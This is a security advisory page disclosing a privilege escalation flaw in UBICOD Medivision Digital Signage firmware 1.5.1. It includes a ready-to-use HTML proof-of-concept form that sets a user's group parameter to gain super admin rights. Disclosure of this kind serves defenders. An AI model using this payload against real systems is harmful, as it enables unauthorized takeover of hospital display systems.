what you don't know can hurt you

UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation

UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation
Posted Jul 20, 2020
Authored by LiquidWorm | Site zeroscience.mk

UBICOD Medivision Digital Signage version 1.5.1 suffers from a privilege escalation vulnerability that is leveraged via authorization bypass.

tags | exploit
MD5 | 3fe4e2cf4345f82778b34c87c1c95b2e

UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation

Change Mirror Download

UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass


Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application suffers from a privilege escalation vulnerability. Normal user
can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an
HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super
admin rights.

Tested on: Apache/2.4.7 (Ubuntu)
PHP/5.5.9-1ubuntu4.22


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2020-5575
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php


19.06.2020

--


<html>
<body>
<form action="http://10.0.39.2/query/user/itSet" method="POST">
<input type="hidden" name="aa[_id]" value="157" />
<input type="hidden" name="aa[pass]" value="123456" />
<input type="hidden" name="od[]" value="name" />
<input type="hidden" name="ft[grp]" value="3" />
<input type="hidden" name="ip" value="0" />
<input type="hidden" name="np" value="13" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close